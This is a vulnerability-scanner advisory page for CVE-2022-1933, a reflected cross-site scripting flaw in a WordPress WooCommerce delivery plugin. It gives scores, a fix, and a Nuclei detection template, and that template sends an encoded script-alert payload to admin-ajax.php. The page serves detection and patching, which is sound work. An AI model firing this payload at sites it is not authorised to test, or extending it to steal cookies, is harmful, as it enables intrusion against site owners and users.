HexBrain

Browse / CVEs / CVE-2022-1933

CVE-2022-1933· collect and deliver interface for woocommerce project / collect and deliver interface for woocommerce· CWE-79

WordPress CDI <5.1.9 - Cross Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

WordPress CDI plugin prior to 5.1.9 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade WordPress to version 5.1.9 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" and "Tracking code not correct" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1933 -u <target>

The full check
id: CVE-2022-1933

info:
  name: WordPress CDI <5.1.9 - Cross Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress CDI plugin prior to 5.1.9 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade WordPress to version 5.1.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6cedb27f-6140-4cba-836f-63de98e521bf
    - https://wordpress.org/plugins/collect-and-deliver-interface-for-woocommerce/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1933
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1933
    cwe-id: CWE-79
    epss-score: 0.01702
    epss-percentile: 0.77436
    cpe: cpe:2.3:a:collect_and_deliver_interface_for_woocommerce_project:collect_and_deliver_interface_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: collect_and_deliver_interface_for_woocommerce_project
    product: collect_and_deliver_interface_for_woocommerce
    framework: wordpress
  tags: cve,cve2022,cdi,wpscan,wp-plugin,wp,wordpress,xss,collect_and_deliver_interface_for_woocommerce_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Tracking code not correct'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from